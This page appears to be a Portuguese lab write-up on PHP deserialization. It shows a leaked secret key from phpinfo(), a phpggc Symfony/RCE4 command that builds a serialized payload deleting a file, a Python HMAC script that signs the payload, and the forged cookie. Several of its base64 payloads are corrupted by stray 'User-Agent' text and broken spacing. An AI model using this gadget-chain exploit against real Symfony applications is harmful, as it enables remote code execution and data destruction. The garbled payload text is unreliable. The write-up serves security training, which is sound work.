> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/deserialization/php-deserialization-with-prebuilt-gadget-chain.md). # Desserialização em PHP com uma Cadeia de Gadgets Pré-Construída ### Explorando a desserialização em PHP com uma cadeia de gadgets pré-montada Este laboratório usa um mecanismo de sessão baseado em serialização PHP usando um **cookie**. / A aplicação é baseada em um PHP atual **estrutura**, sem acesso ao código-fonte. / Apesar disso, a desserialização insegura pode ser explorada por meio de **cadeias de gadgets**. Objetivo:/ excluir o `/home/carlos/morale.txt` arquivo. Identificador fornecido: * **wiener : peter** **Análise do cookie de sessão** Cookie interceptado (codificado em URL): {% code overflow="wrap" %} ```bash %7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a3YyOHF3MTFhN2E3N2pyMDRsNjdsYXNrcmk2NWZxeiI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22631dc8aa9b149a7b6b64adfcddb5e3506eabf735%22%7D ``` {% endcode %} Após a decodificação: {% code overflow="wrap" %} ```json {"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a3YyOHF3MTFhN2E3N2pyMDRsNjdsYXNrcmk2NWZxeiI7fQ==","sig_hmac_sha1":"631dc8aa9b149a7b6b64adfcddb5e3506eabf735"} ``` {% endcode %} O cookie contém: * `token` → Objeto PHP serializado codificado em Base64 * `sig_hmac_sha1` → assinatura HMAC-SHA1 do token `token` Decodificação: {% code overflow="wrap" %} ```json O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"vkv28qw11a7a77jr04l67laskri65fqz";} ``` {% endcode %} **Identificação do ambiente** De `phpinfo()`: * **PHP 7.4**
**Chave secreta** exibida:
**chave secreta** : ara511gik1dqity8135f7o7zu7k3yx2j **Framework Symfony 4.3.6**
**Selecione a cadeia de gadgets** Lista de gadgets disponíveis com `phpggc`: ```bash ./phpggc -l ``` O Symfony 4 permite o uso de canais **RCE**. / A cadeia selecionada: ``` Symfony/RCE4 ```
**Geração do objeto malicioso** Comando usado: ```bash ./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' ``` Objeto PHP serializado gerado: {% code overflow="wrap" %} ```json O:47:"Symfony/Component/Cache/Adapter/TagAwareAdapter":2:{s:57:"Symfony/Component/Cache/Adapter/TagAwareAdapterdeferred";a:1:{i:0;O:33:"Symfony/Component/Cache/CacheItem":2:{s:11:"*poolHash";i:1;s:12:"*innerItem";s:26:"rm /home/carlos/morale.txt";}}s:53:"Symfony/Component/Cache/Adapter/TagAwareAdapterpool";O:44:"Symfony/Component/Cache/Adapter/ProxyAdapter":2:{s:54:"Symfony/Component/Cache/Adapter/ProxyAdapterpoolHash";i:1;s:58:"Symfony/Component/Cache/Adapter/ProxyAdaptersetInnerItem";s:4:"exec";}} ``` {% endcode %} Codificação em Base64: {% code overflow="wrap" %} ```bash Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA6TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg== ``` {% endcode %} **Cálculo da assinatura HMAC-SHA1** Script Python usado: ```python import hmac, hashlib secret = b"ara511gik1dqity8135f7o7zu7k3yx2j" token = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YT oxOntpOjA6TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319c zo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxD b21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg= =" print(hmac.new(secret, token.encode(), hashlib.sha1).hexdigest()) ```
Assinatura obtida: ``` 5270b838edbe7aec15da10cab298ac841d088c90 ``` **Criação final do cookie** JSON do cookie: {% code overflow="wrap" %} ```json {"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA6TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==","sig_hmac_sha1":"5270b838edbe7aec15da10cab298ac841d088c90"} ``` {% endcode %} Após a codificação de URL, o cookie é injetado na solicitação HTTP. ```bash {"token"%3a"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA6TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3d%3d","sig_hmac_sha1"%3a"5270b838edbe7aec15da10cab298ac841d088c90"} ``` **Resultado** O cookie assinado é aceito pela aplicação/ A cadeia de gadgets do Symfony é executada/ O `/home/carlos/morale.txt` arquivo é excluído --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/web/deserialization/php-deserialization-with-prebuilt-gadget-chain.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.